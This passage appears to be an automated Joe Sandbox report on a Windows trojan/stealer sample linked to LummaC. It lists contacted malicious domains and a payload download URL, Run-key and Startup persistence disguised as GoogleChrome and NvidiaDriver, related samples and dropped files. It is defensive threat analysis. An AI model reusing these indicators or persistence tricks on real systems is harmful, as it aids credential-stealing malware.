https://www.youtube.com/watch?v=wjIuS_rQQsYC:	89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148856128.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255270179.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422010886.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	msapplication.xml8.9.dr	false		high
https://gamertool.eu/N	89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://itsrevolutionmagnus.xyz/Nkeeei.exeF	T4qO1i2Jav.exe, 00000000.00000002.2085901381.0000000000992000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084081640.0000000000991000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B57000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1840812297.0000000003B57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apider	T4qO1i2Jav.exe, 00000000.00000003.1900708878.00000000009F0000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086122592.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058998359.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1932172600.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946533444.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058980451.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900590719.00000000009EF000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084026449.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/stats/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	{856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	false		high
https://medal.tv	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
172.67.182.218	itsrevolutionmagnus.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.161.29	gamertool.eu	United States	13335	CLOUDFLARENETUS	false
89.23.100.42	unknown	Russian Federation	48687	MAXITEL-ASRU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581379
Start date and time:	2024-12-27 14:41:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T4qO1i2Jav.exe renamed because original name is a hash value
Original Sample Name:	2d883950e8e1886bb567d041d17f22db.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@103/556@21/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 74 Number of non-executed functions: 204
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.210.69, 2.16.158.184, 2.16.158.90, 2.16.158.82, 2.16.158.169, 2.16.158.80, 2.16.158.88, 2.16.158.170, 2.16.158.179, 2.16.158.83, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.181.142, 2.16.158.75, 204.79.197.200, 2.19.198.203, 23.32.238.73, 2.16.158.59, 2.16.158.186, 2.16.158.27, 2.16.158.35, 2.16.158.56, 2.16.158.72, 2.16.158.26, 2.16.158.33, 2.16.158.51, 2.16.158.74, 20.190.147.2, 20.190.177.146, 20.190.147.0, 20.190.177.82, 20.190.177.148, 20.190.147.6, 20.190.177.22, 20.190.147.10, 13.89.179.12, 172.217.17.42, 172.217.17.74, 172.217.19.202, 216.58.208.234, 142.250.181.138, 172.217.19.10, 172.217.19.234, 142.250.181.10, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.21.42, 2.16.158.176, 2.16.158.96, 20.42.73.29, 2.16.158.187, 2.16.158.43, 142.251.41.3, 142.251.40.131, 172.217.165.131, 142.251.32.99, 142.251.40.163, 52.149.20.212, 13.107.246.63, 23.218.208.109, 13.107.246.40, 40.126.53.9, 23.200.0.33
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, p-static.bing.trafficmanager.net, onedsblobprdcus17.centralus.cloudapp.azure.com, ak.privatelink.msidentity.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, e86303.dscx.akamaiedge.net, clients2.google.com, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, th.bing.com, r.bing.com, onedsblobprdeus15.eastus.cloudapp.azure.com, login.mso.msidentity.com, www.gstatic.com, l-0007.l-msedge.net, ieonline.microsoft.com, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, www.tm.ak.prd.aadg.trafficmanager.net, fs.microsoft.com, th.bing.com.edgekey.net, otelrules.azureedge.net, r.bing.com.edgekey.net, star.sb.tlu.dl.delivery.mp.microsoft.com.edgesuite.net, ctldl.windowsupdate.com, p-th.bing.com.trafficmanager.net, www.googlea
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:42:08	API Interceptor	19x Sleep call for process: T4qO1i2Jav.exe modified
08:42:43	API Interceptor	1765x Sleep call for process: hYDFhjqVouJ7cB7Z.exe modified
08:43:04	API Interceptor	8x Sleep call for process: VBJU2N3euXB4jMxu.exe modified
08:43:35	API Interceptor	2x Sleep call for process: WerFault.exe modified
08:43:35	API Interceptor	12x Sleep call for process: YOB9kZKIRUqnzMwq.exe modified
13:42:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run GoogleChrome C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
13:43:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run NvidiaDriver C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
13:43:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
13:43:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run GoogleChrome C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
13:43:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run NvidiaDriver C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
13:43:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
13:43:53	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk
13:44:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NvidiaDriver.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.157.254	k0ukcEH.exe	Get hash	malicious	LummaC	Browse
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
89.23.100.42	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
89.23.100.42	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
162.159.61.3	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse
	ChoForgot.exe	Get hash	malicious	Vidar	Browse
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse
239.255.255.250	https://www.solutionfun.info/landingpage/88d166e1-2419-40aa-9b2d-6e9955c2aba8/Kowu_RY0atl7IwT3gv1Oxj31WsMvyYvLoFt-RCYljqI	Get hash	malicious	Unknown	Browse
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse
	DOTA2#U89c6#U8ddd#U63d2#U4ef6.exe	Get hash	malicious	Unknown	Browse
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse
172.67.161.29	SC3sPWT51E.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0c8cY5GOMh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
gamertool.eu	SC3sPWT51E.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29
gamertool.eu	file.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.9.168
chrome.cloudflare-dns.com	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
	skript.bat	Get hash	malicious	Vidar	Browse	162.159.61.3
	din.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lem.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	WRD1792.docx.doc	Get hash	malicious	Dynamer	Browse	162.159.61.3
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	https://jkqbjwq.maxiite.com	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
steamcommunity.com	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	23.55.153.106
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.216.236
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	104.21.31.138
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.94.92
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
CLOUDFLARENETUS	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.216.236
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	104.21.31.138
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.94.92
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
CLOUDFLARENETUS	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	gshv2.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.216.236
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	104.21.31.138
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.94.92
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	appFile.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 172.67.182.218
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.157.254 23.55.153.106 172.67.182.218
37f463bf4616ecd445d4a1937da06e19	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	gshv2.exe	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	DOTA2#U89c6#U8ddd#U63d2#U4ef6.exe	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	InExYnlM0N.lnk	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	172.67.182.218 172.67.161.29
	vreFmptfUu.lnk	Get hash	malicious	DanaBot	Browse	172.67.182.218 172.67.161.29
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.67.182.218 172.67.161.29
	installer.bat	Get hash	malicious	Vidar	Browse	172.67.182.218 172.67.161.29
	skript.bat	Get hash	malicious	Vidar	Browse	172.67.182.218 172.67.161.29

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VBJU2N3euXB4jMxu_15788e3c6243c8ecfbcf678a99c63be7a7dd82a_474ed555_4c19eb69-d447-4027-bd46-aabba6de0aff\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8268767090738994
Encrypted:	false
SSDEEP:	96:EX+WFvdNbNpMM9+sVhMzxTMbHdQXIDcQKc67cEQcw3n+HbHg/5ownQcmMIDV9Oyu:EuW1dNsk+nn0k/aQjSKzuiFcZ24IO8o
MD5:	A62B7CCBA129741DD76DC32D2691EEDB
SHA1:	EB95D2BD0AFF3A82CAEEF4C8118E60D67B710222
SHA-256:	1B8384B91F03CC32A3345781FE7F3D5ABBD2D4D86C3AFACD38BB199B012F3503
SHA-512:	6D064CFCD54636A1C5B432C32828C1E5A1289D17042A16CE1751E04A53A2F78869F485D7A5C5F550B95C95BC1839B3735A66BA03C377BD06B5FA8A0C2EC66523
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.7.8.0.6.1.6.9.8.8.3.2.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.7.8.0.6.1.9.7.2.2.5.0.0.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.1.9.e.b.6.9.-.d.4.4.7.-.4.0.2.7.-.b.d.4.6.-.a.a.b.b.a.6.d.e.0.a.f.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.2.2.6.f.6.3.f.-.e.3.e.7.-.4.e.f.f.-.b.9.3.2.-.e.5.f.0.9.a.c.4.e.6.9.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.B.J.U.2.N.3.e.u.X.B.4.j.M.x.u...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.d.0.-.0.0.0.1.-.0.0.1.4.-.5.f.c.0.-.f.d.3.e.6.5.5.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.a.0.f.c.7.9.e.9.6.6.1.5.6.a.f.7.3.f.d.c.f.9.0.e.c.1.b.c.a.0.b.0.0.0.0.f.f.f.f.!.0.0.0.0.9.3.2.b.d.c.0.f.e.a.8.8.7.6.5.b.8.b.3.c.1.9.f.9.5.4.d.4.3.5.7.9.5.0.3.4.5.0.1.c.!.V.B.J.U.2.N.3.e.u.X.B.4.j.M.x.u...e.x.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VBJU2N3euXB4jMxu_5c7491f6deea1970ac49fbc8a7eacec4b8459a4_474ed555_510640a1-9cb9-4f90-a18e-88cd0b8e1d9e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8294457241249972
Encrypted:	false
SSDEEP:	96:LkFJHbNbNpMM9csVhMoz7JnPQXIDcQ0c66RcEpcw3dO+HbHg/5ownQcmMIDV9Oyu:AfNskc30a2TJjSKzuiFcZ24IO8o
MD5:	047F7ACA08E60879D35D455D38B0C53B
SHA1:	3E3604CF6FAB78E67F646E57259AA3E1A2E8F2E9
SHA-256:	6095B72F4CC45A0B4A4B096834FA3B68A4750E6CDFDF03C0F153004517AF0323
SHA-512:	8CDA2396CAA2D4668A084D05D05A786B1FDB2934E75F30017458B765F3164C493992DF19E5E1E3F9156F9D391E369698248F706601D4B679A691706FC36B6038
Malicious:	false
